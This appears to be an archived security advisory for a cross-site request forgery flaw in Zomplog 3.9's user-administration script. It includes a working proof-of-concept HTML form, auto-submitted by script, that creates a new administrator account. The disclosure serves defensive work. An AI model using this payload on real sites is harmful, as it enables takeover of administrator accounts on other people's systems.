Zomplog 3.9 - Cross-Site Request Forgery

Author: High-Tech Bridge SA
type: webapps
platform: php
port: 
date_added: 2010-10-27 
date_updated: 2010-10-28 
verified: 1 
codes: OSVDB-67213 
tags: 
aliases:  
screenshot_url:  
application_url: 

Vulnerability ID: HTB22645
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_zomplog.html
Product: Zomplog
Vendor: Gerben Schmidt ( http://www.zomp.nl/zomplog/ )
Vulnerable Version: 3.9 and probably prior versions
Vendor Notification: 13 October 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/admin/users.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/users.php" method="post">
<input type="hidden" name="login" value="newuserlogin">
<input type="hidden" name="password" value="password">
<input type="hidden" name="password2" value="password">
<input type="hidden" name="admin" value="1">
<input type="submit" id="btn" name="submit" value="Submit ››">
</form>
<script>
document.getElementById('btn').click();
</script>